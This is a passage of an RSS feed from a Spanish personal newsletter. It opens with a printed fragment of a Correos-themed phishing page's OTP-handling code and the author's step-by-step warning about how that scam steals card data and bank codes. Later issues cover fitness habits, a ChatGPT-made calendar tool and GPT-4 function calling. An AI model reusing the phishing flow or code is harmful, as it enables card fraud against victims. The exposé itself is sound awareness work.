      r === &quot;1&quot; ? (this.$router.push(&quot;/success&quot;), e.close()) : r === &quot;2&quot; ? (this.loading = !1, this.PostData.OTP = &quot;&quot;, this.$refs.input.status = &quot;error&quot;, this.tip = !0, e.close()) : r === &quot;3&quot; &amp;&amp; (this.loading = !1, this.PostData.OTP = &quot;&quot;, this.$refs.input.status = &quot;error&quot;, this.tip = !0, e.close())
     &#125;)
    &#125;
   &#125;,</code></pre></div><p class="paragraph" style="text-align:left;">No hace falta que te lo leas, te lo digo yo. Esta gente te hace meter un OTP (una validación 2-step) que te envía el banco. <b>En otras palabras, están limpiándote las cuentas y tu te crees que estás pagando en Correos</b>. </p><p class="paragraph" style="text-align:left;">En resumen, el phishing funciona de la siguiente forma:</p><ul><li><p class="paragraph" style="text-align:left;">Recibes el SMS que te dice que la dirección de tu paquete está mal.</p></li><li><p class="paragraph" style="text-align:left;">Si eres de la demografía target (e.g. móvil Android, algo antiguo, probablemente no se cata demasié de tecnología) te muestran la trampa. Si no, te llevan a Correos y aquí no ha pasado nada.</p></li><li><p class="paragraph" style="text-align:left;">Te muestran información creíble, en un diseño típico de correos y un botón para solucionar el problema. Pero resulta que hay un <i>recargo por dirección equivocada</i>. Que probablemente son escasos céntimos. Va, lo pago y ya está.</p></li><li><p class="paragraph" style="text-align:left;">Metes la tarjeta, titular, caducidad y CVV. Con estos datos hacen lo que les da la gana. Igual compran algo online. O si tu banco es de los que usan la tarjeta como acceso, entran a la banca online.</p></li><li><p class="paragraph" style="text-align:left;">¡Espera, tu banco envía un código SMS de validación! Ningún problema. Estos señores tan amables te sacan una pantallita para que se lo entregues en bandeja y así completar la operación.</p></li><li><p class="paragraph" style="text-align:left;">Un señor de Singapur se gasta tu pasta en farlopa y tu que quedas con cara de gilipollas.</p></li></ul><p class="paragraph" style="text-align:left;">Lo que decía, <i>boom 💣.</i></p><p class="paragraph" style="text-align:left;">Por suerte después de estafarte son cordiales y amables:</p><p class="paragraph" style="text-align:left;"><i>¡Felicidades! Has completado todos los pasos necesarios. Tu paquete será entregado pronto. Gracias por elegir nuestro servicio de envío.</i></p><p class="paragraph" style="text-align:left;">Todo un detalle.</p><h1 class="heading" style="text-align:left;">👋 Outro</h1><p class="paragraph" style="text-align:left;">Y hasta aquí la newsletter de hoy que ha sido un chute directo a encalarse al segundo anfiteatro, porque sí.</p><p class="paragraph" style="text-align:left;">Espero que os haya gustado, y si no, esperad a la semana que viene, porque <b>a saber</b> lo que escribo.</p><p class="paragraph" style="text-align:left;">Viva el caos.</p><p class="paragraph" style="text-align:left;">¿Muera la inteligencia?</p><p class="paragraph" style="text-align:left;">Veremos el día 23 🤣.</p><p class="paragraph" style="text-align:left;">Nos leemos pronto.</p></div><div class='beehiiv__footer'><br class='beehiiv__footer__break'><hr class='beehiiv__footer__line'><a target="_blank" class="beehiiv__footer_link" style="text-align: center;" href="https://www.beehiiv.com/?utm_campaign=5ac91fc9-be32-45a7-a06e-c2e4c6f28f50&utm_medium=post_rss&utm_source=vivir_del_cuento_y_no_morir_en_el_intento">Powered by beehiiv</a></div></div>
  ]]></content:encoded>
</item>

      <item>
  <title>#39 - El Certificado de la Fibra</title>
  <description>Esteroides, calendarios, UUIDs y pepinillos</description>
  <link>https://cuento.beehiiv.com/p/39-certificado-de-la-fibra</link>
  <guid isPermaLink="true">https://cuento.beehiiv.com/p/39-certificado-de-la-fibra</guid>
  <pubDate>Wed, 05 Jul 2023 09:00:00 +0000</pubDate>
  <atom:published>2023-07-05T09:00:00Z</atom:published>
    <dc:creator>Adrià López</dc:creator>
  <content:encoded><![CDATA[
    <div class='beehiiv'><style>
  .bh__table, .bh__table_header, .bh__table_cell { border: 1px solid #C0C0C0; }
  .bh__table_cell { padding: 5px; background-color: #FFFFFF; }
  .bh__table_cell p { color: #2D2D2D; font-family: 'Helvetica',Arial,sans-serif !important; overflow-wrap: break-word; }
  .bh__table_header { padding: 5px; background-color:#F1F1F1; }
  .bh__table_header p { color: #2A2A2A; font-family:'Trebuchet MS','Lucida Grande',Tahoma,sans-serif !important; overflow-wrap: break-word; }
</style><div class='beehiiv__body'><p class="paragraph" style="text-align:left;"><i>Welcomeados</i> a una nueva edición de la newsletter en la que os cuento mi vida, sí, esa la cual quiero vivir <i>ex-cuento</i>.</p><p class="paragraph" style="text-align:left;">Y cosas de ordenadores y dineros a veces también.</p><p class="paragraph" style="text-align:left;">No me enrollo. Vamos, que estoy a tope, jefe de equipo.</p><h1 class="heading" style="text-align:left;">🤔<b> Reflexión — Levantar hierro</b></h1><p class="paragraph" style="text-align:left;">El otro día vi este <i>flowchart:</i></p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/64bd9351-22ba-4bcd-87a3-be8c67ffe8df/IMG_F6895B419835-1.jpeg"/><div class="image__source"><span class="image__source_text"><p>Workflow de perder dinero</p></span></div></div><p class="paragraph" style="text-align:left;">Me sentí súper identificado. Con el literal de los dominios, que lo hago constantemente, pero también en general con el irse al final del camino antes de haber hecho el primer paso.</p><p class="paragraph" style="text-align:left;">Os pongo un ejemplo. Hace un montón de años a mi siempre compinche de idas de olla y a mí nos dio por querer ponernos <i>to ciclaos</i> que se decía entonces. <i>To fibraos</i>, siendo más concreto. Cosas de la juventud.</p><p class="paragraph" style="text-align:left;">Los que me conocéis sabréis que no hubo éxito. Eso sí, en todo ese tiempo de no-estar-en-el-gimnasio nos dio para hacernos un <b>Certificado de la Fibra</b> de puta madre en PDF con sello, membrete y firma del Emérito que planeábamos enmarcarnos tan pronto como lográramos el objetivo.</p><p class="paragraph" style="text-align:left;">Pero claro, si después de hacer el certificado y planificar con detalle la ceremonia de entrega de diplomas en lugar de ponerte a levantar hierros te vas a meterte tres hamburguesas y seiscientas cervezas, pues no funciona. Vaya estafa piramidal.</p><p class="paragraph" style="text-align:left;">Y creo que el hecho de visualizar el final del camino es, de hecho, contraproducente. Pensar lo contrario ha estado de moda mucho tiempo. Ley de la atracción y demás paparruchadas del rincón de autoayuda de Carrefour. No estoy de acuerdo. Tener en mente el objetivo, cuando el camino es lento, arduo y frustrante, desmoraliza más que otra cosa. Al menos, a mí.</p><p class="paragraph" style="text-align:left;">Lo efectivo es que el objetivo sea <i>el propio camino</i>. El <i>hacer el camino</i> sea el criterio de validación.</p><p class="paragraph" style="text-align:left;">De ahí un poco aquello que comentaba la semana pasada de hacer 4 horas efectivas al día. El objetivo no es haber acabado X o Y. Es haber hecho, bien hechas, las 20 horas.</p><p class="paragraph" style="text-align:left;">Quiero aplicarlo ahora también, en forma de <i>flashback</i> al Certificado, al ejercicio. De nuevo, los que me conocéis, sabréis que yo mayormente voy de la silla al sofá y viceversa y me he metido de pleno en la senectud a base de desatender lo corpóreo hasta el punto de la decrepitud.</p><p class="paragraph" style="text-align:left;">A mi siempre me ha molado aquello de Sócrates de<i> “qué desgracia es para un hombre envejecer sin haber apreciado la belleza y fuerza de la que es capaz el cuerpo”</i>. Pero una cosa es que me guste la frase y otra que haga algo para emular su premisa. No lo hago. Porque es difícil, cansado, arduo y frustrante. Lo que decía antes. Y el objetivo de estar saludable y <i>fuertote</i> me parece genial, pero el camino es una mierda y no hay manera.</p><p class="paragraph" style="text-align:left;">Así que voy a aplicar la filosofía de las 4h al día. 4h es fácil. Media jornada. Esa es la gracia del asunto: si consigo que me paguen suficiente por hora, 4h es suficiente, y como 4h es fácil, será fácil no morir de hambre.</p><p class="paragraph" style="text-align:left;">¿Pues qué es fácil en el ejercicio? No sé. ¿20 sentadillas y 20 flexiones?. Cada día. Son literalmente 40 segundos escasos. <i>Es nada</i>. ¿Sirve de algo? No mucho, pero lo que seguro que no hace es restarme salud. Así que vamos a empezar por ahí. <i>Gateway drug</i>. El primer <i>tirito</i> invita la casa.</p><p class="paragraph" style="text-align:left;">Mi objetivo, mi <i>check</i>, va a ser haber hecho estos 40 movimientos simples cada día hasta el 28 de agosto. Y punto.</p><p class="paragraph" style="text-align:left;">Además ahora tengo doble motivación, y es que mi compañero de <i>fibradas</i> me ha dicho que soy un mierdas y que no voy a durar nos meses.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/797b8ffe-9eaf-4587-8e3b-b6d8660903eb/Screenshot_2023-06-29_at_08_06_26.png"/><div class="image__source"><span class="image__source_text"><p>Con amigos como estos para qué quieres enemigos</p></span></div></div><p class="paragraph" style="text-align:left;">Así que me he picado y voy a hacer #FlexionesInPublic. Más o menos. Vamos, que la parte pública es que lo digo aquí y quedo mal si no lo hago.</p><p class="paragraph" style="text-align:left;">Y lo celebro empezando el día metiéndome entre pecho y espalda un desayuno de tenedor y mantel, para coger energías.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/0bf61600-b916-4467-adb0-3793492c3a28/tempImageRbo2Y2.jpg"/><div class="image__source"><span class="image__source_text"><p>La limonada es con jengibre y menta. Y no, no es un mojito a las nueve de la mañana. Debería serlo, pero no me he atrevido.</p></span></div></div><p class="paragraph" style="text-align:left;">A menos no son seiscientas cervezas.</p><h1 class="heading" style="text-align:left;"><b>🗓️ #BuildInPublic — Herramientas varias</b></h1><p class="paragraph" style="text-align:left;">Como no podría ser de otra forma lo que has leído ahí arriba no es una historia de éxito absoluto e incontestable. <b>Obviamente</b> no es posible superar con tanta facilidad mi obsesión por <i>putting the cart before the horse</i> por tanto algo innecesario, accesorio y superfluo había que hacer en relación al reto de <i>hacer algo whatsoever</i>.</p><p class="paragraph" style="text-align:left;">Así que buscando como hacer un seguimiento de mi progreso y pensando que un calendario en un folio seria una buena forma me he visto obligado irremediablemente a crear un nuevo servicio online de herramientas varias y estrenarlo con una de creación de calendarios imprimibles.</p><p class="paragraph" style="text-align:left;">Lo siento. Dedicarle 30 segundos a hacer una cuadrícula para hacer <i>crucecitas</i> era <b>totalmente inaceptable</b>. Evidentemente lo suyo era desplegar una aplicación full-SSR en una red global de <i>edge computing</i> para este menester.</p><p class="paragraph" style="text-align:left;">El resultado ha sido vistoso y todo:</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/281aed11-4b7f-480a-8a89-fe290f5b0f0c/Screenshot_2023-06-30_at_09.42.15.png"/><div class="image__source"><span class="image__source_text"><p>Sí, hay más de una herramienta, qué pasa, a ver. No podía poner una sola, queda feo.</p></span></div></div><p class="paragraph" style="text-align:left;">Si os apetece haceros un calendario, <a class="link" href="https://tools.rtf.cc?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=39-el-certificado-de-la-fibra" target="_blank" rel="noopener noreferrer nofollow">aquí tenéis el enlace</a>.</p><p class="paragraph" style="text-align:left;">Y esto no es todo lo que quiero contaros al respecto. Lo principal es que me he quedado un poco loco con lo bien que me ha ido ChatGPT para generar este código del calendario. Porque sí, obviamente lo ha hecho ChatGPT. Yo paso de hacer nada solo ya.</p><p class="paragraph" style="text-align:left;">Pero resulta que normalmente me tocaba pedirle las cosas <i>con mucho cuidado</i>. Vamos, que tenía que explicarle qué quería, cómo, el lenguaje, el estilo, las librerías, etcétera, para sacar algo “limpio” desde el principio. Y esta vez, nada de nada. Cuatro frases:</p><div class="blockquote"><blockquote class="blockquote__quote"></blockquote></div><p class="paragraph" style="text-align:left;">Y con esto tenía el 90% del código definitivo. Me faltó en cuatro respuestas pedirle:</p><ul><li><p class="paragraph" style="text-align:left;">Que me lo apañara para que se cortase bien al imprimir</p></li><li><p class="paragraph" style="text-align:left;">Que lo estilizara con Tailwind</p></li><li><p class="paragraph" style="text-align:left;">Que pudiese pasarle una fecha de inicio y fin</p></li><li><p class="paragraph" style="text-align:left;">Que si la fecha de inicio no era lunes, dejara unos cuadros en blanco por delante</p></li></ul><p class="paragraph" style="text-align:left;">Y ya está. Creé yo el formulario y metí un poquito de estilos para hacerlo bonito.</p><p class="paragraph" style="text-align:left;">Lo curioso es que hace un par de meses había un sentimiento generalizado de que GPT-4 había empeorado significativamente generando código. Yo también lo había notado, de hecho. No sé si lo han resuelto o tal vez he cambiado mi forma de interactuar o los problemas que le pido resolver (menos proyectos enteros, más componentes sueltos), pero ahora me da la sensación contraria, que es más efectivo y rápido.</p><p class="paragraph" style="text-align:left;">Ni idea.</p><p class="paragraph" style="text-align:left;">Pero que si me lo quitan pivoto al cultivo de la alcachofa.</p><h1 class="heading" style="text-align:left;">🔝 Herramientas</h1><p class="paragraph" style="text-align:left;">No sé qué pasa últimamente que no leo con la misma asiduidad mis fuentes habituales de herramientas útiles (léase, doscientas newsletters, Twitter y el Hacker News, obsesivamente) y por tanto no tengo demasiado interesante que aportaros cuando llega el miércoles.</p><p class="paragraph" style="text-align:left;">Pero bueno, esta vez, rascando el fondo del bote, algo he encontrado.</p><p class="paragraph" style="text-align:left;">Lo primero tema IA 🤖 os dejo <a class="link" href="https://github.com/imoneoi/openchat?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=39-el-certificado-de-la-fibra" target="_blank" rel="noopener noreferrer nofollow">este repo</a>. En resumen, son una serie de modelos open-source optimizados para varios temas que, según los benchmarks que han hecho ellos mismos, supera en rendimiento a GPT-3.5. ¿Es cierto? Ni idea. Si lo es, es algo gordo. Así que echadle un ojo.</p><p class="paragraph" style="text-align:left;">Lo segundo es <a class="link" href="http://leavemealone.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=39-el-certificado-de-la-fibra" target="_blank" rel="noopener noreferrer nofollow">leavemealone.com</a>, que es una herramienta que (pagando) te <i>desuscribe</i> de emails a granel. No lo he probado, pero cuando lo he visto me he acordado de unos de Adidas que recibo y a los que le he dado al link de <i>desuscribir</i> veinte veces ya y nada. Igual lo pago.</p><p class="paragraph" style="text-align:left;">Si os queréis <i>desuscribir</i> de mi newsletter no paguéis, que hay botoncito ahí y funciona.</p><p class="paragraph" style="text-align:left;">Y para acabar como no me queda nada más os dejo <a class="link" href="https://www.youtube.com/shorts/T_AvLOmBSUk?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=39-el-certificado-de-la-fibra" target="_blank" rel="noopener noreferrer nofollow">una receta de salsa big</a> mac que me ha salido en Youtube Shorts. Esta no te la esperabas, ¿¿eh?? Si la haces me dices qué tal.</p><h1 class="heading" style="text-align:left;">👋 Haassstaluegooo</h1><p class="paragraph" style="text-align:left;">Ale, espero que os haya entretenido la dosis de hoy, disfrutad de lo que queda de semana, no os droguéis demasiado y dejad lo que estéis haciendo ahora mismo y echaros al suelo a hacer flexiones porque sí.</p><p class="paragraph" style="text-align:left;">Yo ya lo he hecho.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/aad5f8c1-d6c5-473b-a8eb-339d97e5ef60/IMG_0339_copy.png"/></div><p class="paragraph" style="text-align:left;">Nos leemos pronto.</p></div><div class='beehiiv__footer'><br class='beehiiv__footer__break'><hr class='beehiiv__footer__line'><a target="_blank" class="beehiiv__footer_link" style="text-align: center;" href="https://www.beehiiv.com/?utm_campaign=2fb7dc01-7d5f-4b99-a47a-6b92a7fa428d&utm_medium=post_rss&utm_source=vivir_del_cuento_y_no_morir_en_el_intento">Powered by beehiiv</a></div></div>
  ]]></content:encoded>
</item>

      <item>
  <title>#38 - El mochuelo de Minerva</title>
  <description>Plandemia, tomarse días libres y hacer webs con GPT-4</description>
  <link>https://cuento.beehiiv.com/p/38-el-mochuelo-de-minerva</link>
  <guid isPermaLink="true">https://cuento.beehiiv.com/p/38-el-mochuelo-de-minerva</guid>
  <pubDate>Wed, 28 Jun 2023 09:00:00 +0000</pubDate>
  <atom:published>2023-06-28T09:00:00Z</atom:published>
    <dc:creator>Adrià López</dc:creator>
  <content:encoded><![CDATA[
    <div class='beehiiv'><style>
  .bh__table, .bh__table_header, .bh__table_cell { border: 1px solid #C0C0C0; }
  .bh__table_cell { padding: 5px; background-color: #FFFFFF; }
  .bh__table_cell p { color: #2D2D2D; font-family: 'Helvetica',Arial,sans-serif !important; overflow-wrap: break-word; }
  .bh__table_header { padding: 5px; background-color:#F1F1F1; }
  .bh__table_header p { color: #2A2A2A; font-family:'Trebuchet MS','Lucida Grande',Tahoma,sans-serif !important; overflow-wrap: break-word; }
</style><div class='beehiiv__body'><p class="paragraph" style="text-align:left;">Buenos miércoles y bienvenidos a la treintaochea… treintóche… trigésimocha… estooo, a la newsletter que hace treinta y ocho de VDCYNMEEI (pedazo siglas), <i>”la newsletter de este colgao”</i> para los amigos.</p><p class="paragraph" style="text-align:left;">Hoy vamos a empezar filosofando sobre el autoodio, progresaremos hablando de moquetas de polvo en superficies varias y de repente os meteré un empacho de API de OpenAI que os vais a quedar con el culo torcido.</p><p class="paragraph" style="text-align:left;">Píllate un paquete de pipas, que tiene selenio, y un Red Bull, que tiene gasolina, y al lío.</p><h1 class="heading" style="text-align:left;">🧘 El Caótico</h1><p class="paragraph" style="text-align:left;">Ya he explicado otras veces por aquí que el caos es parte de mi esencia. Me gusta el caos. O mejor, me <i>tiene</i> que gustar quiera o no, más me vale, porque no puedo escapar de él.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/73511230-7199-4245-8d94-c7f8cdd760f7/talking-to-myself-jurassic-park.gif"/><div class="image__source"><span class="image__source_text"><p>Si me hago rico me compro un Jeep Wrangler del 92</p></span></div></div><p class="paragraph" style="text-align:left;">Hace unas semanas tuve una reunión de <i>co-founders</i>. Suena grandilocuente pero en resumen me comí unas pizzas y bebí unas birras con los que montamos un proyecto hace un tiempo.</p><p class="paragraph" style="text-align:left;">Una persona en particular hacía bastante que no la veía. Y para sorpresa de los presentes resulta que durante todo este tiempo ha estado metiéndose en la parte honda de la internet, decapando la fosa séptica de bits y bytes, esnifándose el sudor del <i>entretete</i> de la red global. Vamos que nos salió con la retahíla <i>conspiranoica</i> estándar de alguien que ha abusado del 4chan, las revistas <i>new-age</i> y pegamento de barra.</p><p class="paragraph" style="text-align:left;">Me faltó hacer un Bingo. Se tocaron todos los palos. <i>La dictadura del CO2. El movimiento woke como estrategia de reducción de la natalidad. Los microchips en las vacunas.</i> <i>El nuevo orden mundial</i>.</p><p class="paragraph" style="text-align:left;"><i>Los putos chemtrails</i>.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/6b426a3b-bc11-4ba1-9138-960a618ee6a8/9cabd47c-ed01-47aa-9e95-6c8137c6da3c_16-9-discover-aspect-ratio_default_0.png"/><div class="image__source"><span class="image__source_text"><p>Imagen de archivo del gobierno haciendo a las ranas gays</p></span></div></div><p class="paragraph" style="text-align:left;">Los demás comensales (que me están leyendo ahora mismo) sintieron el fuego de la injusticia y la desinformación arder en sus estómagos, alzándose paladines de La Verdad<span style="color:rgb(32, 33, 34);font-family:sans-serif;font-size:14px;">™</span> y enarbolando el estandarte de La Ciencia y El Sentido Común.</p><p class="paragraph" style="text-align:left;">¿Qué hice yo?</p><p class="paragraph" style="text-align:left;">Yo le pregunté por la tierra plana.</p><p class="paragraph" style="text-align:left;">Ahí lo dejo.</p><h1 class="heading" style="text-align:left;">💭 Reflexión — Conócete a ti mismo</h1><p class="paragraph" style="text-align:left;">En la primera temporada ya lo dije. En latín incluso. Hay que conocerse a uno mismo.</p><p class="paragraph" style="text-align:left;">Yo me conozco bastante. Se que soy caótico. Por eso te contaba lo de antes.</p><p class="paragraph" style="text-align:left;">Pero yendo un poco a esto de la autoayuda, sabed que nada lleva a la frustración más rápido que el ignorar nuestra propia naturaleza y embarcarnos en proyectos antitéticos a nosotros mismos.</p><p class="paragraph" style="text-align:left;">Y yo lo se porque lo hago sistemáticamente. Parte de lo de caótico. Pero estoy trabajando en ello.</p><p class="paragraph" style="text-align:left;">Por ejemplo en mi empresa hemos tenido oficina propia durante mucho tiempo. Ahora, por motivos ajenos a la obra, ya no. No verás en mi ni una gota de frustración. Porque yo no soy capaz de <i>tener</i> una oficina. Y mi socio, tampoco. Somos incapaces en lo más profundo de nuestra existencia de llevarla con la más mínima soltura. Incapaces de encargarnos de la intendencia, el mantenimiento y la organización. Incapaces incluso de delegarla.</p><p class="paragraph" style="text-align:left;">El más mínimo periodo de alto estrés derivaba en el acúmulo de movidas en la nevera en tal estado de abandono y putrefacción que la única forma científicamente honesta de describirlas era con el término <i>ectoplasma</i>.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/e73d4f7c-e080-4dd4-9f5c-9ccf6c716eac/s-ghostbusters.jpg.png"/><div class="image__source"><span class="image__source_text"><p>La gente que limpió la oficina cuando nos fuimos nosotros</p></span></div></div><p class="paragraph" style="text-align:left;">Es por eso que ahora en la empresa uno de mis roles no oficiales es el de recordar esta realidad. Recordar que hay cosas que <i>no podemos hacer</i>. Recordar <i>cómo somos</i>. Y busco siempre cómo hacerlo también en mi vida privada y profesional.</p><p class="paragraph" style="text-align:left;">Una forma de recordármelo, o tal vez de no <i>tener</i> que acordarme, es construyendo sistemas y rutinas que me permitan evitar los las recaídas.</p><p class="paragraph" style="text-align:left;">Entre estos sistemas tengo uno que he empezado a entender recientemente que es el <i>permitirse fallar</i>. Por ejemplo, yo voy de culo en el trabajo. No me da la vida, no tiene más, me he metido como de costumbre en demasiadas cosas y no tengo horas en el día de hacerlas todas en tiempo y forma.</p><p class="paragraph" style="text-align:left;">Que por cierto, hago un inciso, otro de mis sistemas es el de <i>ser realista con el tiempo</i>, que en mi caso significa planificar toda mi vida profesional asumiendo que sólo tengo 4 horas productivas al día. Y obligándome sólo a hacer estas 4 para hacer el <i>check</i> mental de haber cumplido. Y así cuando se me va la olla todavía tengo margen.</p><p class="paragraph" style="text-align:left;">El caso es que, como decía, ahora se me ha ido la olla y recientemente le estoy metiendo un buen montón de horas a cada día para salvar los muebles. Pero no es sostenible. Ni a largo plazo ni tampoco a corto. <i>Porque me conozco</i>. Esto acaba reventando por alguna costura e igual que me puede dar por encerrarme en casa y partir en dos el teléfono para huir de la responsabilidad, me puede dar también por raparme la cabeza, ponerme una túnica e irme a Sudamérica a hervir peyote en una cantimplora.</p><p class="paragraph" style="text-align:left;">Así que por el bien de mi familia y coincidiendo con un viernes que la logística me llevaba a pasar la mañana en casa de mis padres me he tomado un día de desintoxicación consistente en hablar de política, beber kefir y investigar algún side project que me desempalague.</p><p class="paragraph" style="text-align:left;">Y el truco del sistema es <b>aceptarlo como parte del plan</b><i><b>.</b></i> Ya había hecho (con creces por desgracia) las 4×5=20 horas productivas que me había planteado para la semana. Y además he dedicado el tiempo extra a cosas medianamente útiles. <b>He cumplido</b>. Nada que objetar. Nada de lo que arrepentirse.</p><p class="paragraph" style="text-align:left;">Así que dos conclusiones:</p><p class="paragraph" style="text-align:left;">La primera, que llevo repitiéndote machaconamente todo este tiempo, conócete y <b>acéptate</b>.</p><p class="paragraph" style="text-align:left;">La segunda, ¡que tengo material de #AprendeCosasDeIA camuflado de #BuildInPublic para daros la turra!</p><p class="paragraph" style="text-align:left;">Así que <i>hold onto your butts</i> que nos tiramos a nadar sin manguitos.</p><iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="true" class="youtube_embed" frameborder="0" height="100%" src="https://youtube.com/embed/HKK4KmDlj8U" width="100%"></iframe><h1 class="heading" style="text-align:left;">🔧 #BuildInPublic — Generando JSON con GPT-4</h1><p class="paragraph" style="text-align:left;">En alguna edición anterior os comenté que había hecho una serie de scripts para generar páginas web con IA. Hay un montón por ahí que lo hacen pero suelen funcionar a base de pedirle a la API de OpenAI que genere HTML. Bien tuneado, pero HTML.</p><p class="paragraph" style="text-align:left;">Yo quería algo más molón y que me diese pie a poder editar luego estas páginas de una forma más estructurada y sin tener que tocar HTML ni CSS. Para ello me basé en un concepto que ya usamos en <a class="link" href="https://ydevs.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=38-el-mochuelo-de-minerva" target="_blank" rel="noopener noreferrer nofollow">ydevs</a> que es el de montar páginas a base de bloques. En mi caso, generé unos cuantos al tuntún copiando ejemplos de TailwindCSS buscados en Google:</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/53432161-e2ec-4419-b0e6-cd646901c715/Screenshot_2023-06-23_at_11.45.49.png"/></div><p class="paragraph" style="text-align:left;">Estos bloques tienen dos componentes fundamentales:</p><ul><li><p class="paragraph" style="text-align:left;">El código necesario para <i>renderizarlos</i>. Estos son componentes de React.</p></li><li><p class="paragraph" style="text-align:left;">La definición de los tipos (de Typescript) y una descripción legible.</p></li></ul><p class="paragraph" style="text-align:left;">La segunda parte es crítica, porque para generar una web <b>le paso a GPT-4 los tipos de TS y la descripción de todos los bloques que tiene a su disposición</b> y le pido que me genere un YAML que describa la web entera, <b>diciéndole también por supuesto cómo debe ser este YAML</b>.</p><p class="paragraph" style="text-align:left;">El problema de esta estrategia es doble y en ambos casos la limitación viene dada por el límite de tokens de contexto y respuesta del modelo:</p><ul><li><p class="paragraph" style="text-align:left;">No es posible generar una web grande porque un YAML de tamaño significativo consume muchísimos tokens (e.g. uno por espacio de indentación).</p></li><li><p class="paragraph" style="text-align:left;">Hacerlo de forma progresiva pidiéndole <b>cambios</b> a la web existente es complicado porque o bien nos devuelve en nuevo YAML completo o una parte que tenemos que integrar manualmente en el existente.</p></li></ul><p class="paragraph" style="text-align:left;">Buscando una solución al segundo punto me dediqué a trabajar hace unas semanas en lograr que ChatGPT generara <i>diffs</i>. Y tuve un éxito relativo:</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/3dccda72-771e-4518-90b3-dd748305cd12/Screenshot_2023-06-23_at_11.58.44.png"/><div class="image__source"><span class="image__source_text"><p>Mi pequeña UI para enviar a GPT-4 mis peticiones de cambios</p></span></div></div><p class="paragraph" style="text-align:left;">¡Uuuuuyyyy casi!</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/8b3fa43e-eecf-4d28-93d5-0b29f00f6090/Screenshot_2023-06-23_at_12.01.38.png"/><div class="image__source"><span class="image__source_text"><p>Parece un diff correcto ahí detrás, ¿no? Pues no. Se ha inventado las líneas</p></span></div></div><p class="paragraph" style="text-align:left;">El caso es que genera diffs, sí, pero el 90% de las veces es <i>ligeramente inválido</i>. Porque generar diffs es droga dura de alto nivel, por desgracia, y entra dentro del reto imposible para un LLM de <b>contar líneas y letras</b>.</p><p class="paragraph" style="text-align:left;">Pero entonces se me ocurrió que podría adaptar<a class="link" href="https://openai.com/blog/function-calling-and-other-api-updates?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=38-el-mochuelo-de-minerva" target="_blank" rel="noopener noreferrer nofollow"> la nueva funcionalidad de llamada a funciones de OpenAI</a> para hacerle la vida más fácil al pobre modelo.</p><p class="paragraph" style="text-align:left;">¿Lo qué? Te lo explico.</p><h2 class="heading" style="text-align:left;">☎️ Generando llamadas a funciones con GPT-4</h2><p class="paragraph" style="text-align:left;">Para los despistados esta actualización permite <b>comunicarle a GPT una lista de funciones a las que puede (¡o debe!) “llamar” como respuesta</b>. Es decir, tu por ejemplo le especificas que existe una función <code>get_current_weather</code> que acepta un objeto con dos parámetros <code>location</code> y <code>unit</code>. Y entonces le pides que te diga el tiempo en una ciudad.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/a2c7efd8-590b-418d-8c24-488881537471/Screenshot_2023-06-23_at_12.06.56.png"/><div class="image__source"><span class="image__source_text"><p>El payload que le envías a la API de OpenAI</p></span></div></div><p class="paragraph" style="text-align:left;">Y entonces el modelo en lugar de generar <i>texto</i> como respuesta te devuelve <b>una llamada a la hipotética función</b> que ha entendido que sería la forma de darte la respuesta:</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/b1281b3d-f791-41fe-a530-bc7b2bd6b7a7/Screenshot_2023-06-23_at_12.08.42.png"/><div class="image__source"><span class="image__source_text"><p>El señor Gepeté respondiendo con “ejecuta esto, socio”</p></span></div></div><p class="paragraph" style="text-align:left;">¿Para qué sirve esto? Para que la respuesta del LLM sea <i>algo que hacer</i> en lugar de <i>algo que decir</i>.</p><p class="paragraph" style="text-align:left;">Con esto aclarado, vamos a aplicarlo a este caso.</p><h3 class="heading" style="text-align:left;">🙏 GPT-4, porfa, modifícame el YAML con esta función</h3><p class="paragraph" style="text-align:left;">Lo primero es inventarnos una hipotética función de “aplicar diff” en la que los parámetros de la función serían una array de adiciones o eliminaciones. Sabemos que el sistema tiene problemas <i>contando</i> en general, pero bueno, siempre hay esperanza.</p><p class="paragraph" style="text-align:left;"><i>Narrador: no había esperanza.</i></p><p class="paragraph" style="text-align:left;">Le paso una función a la que debe “llamar” (esto es, de nuevo, devolver “qué parámetros le pasaría”) donde el argumento es una lista de cambios, y cada uno definido por la línea a 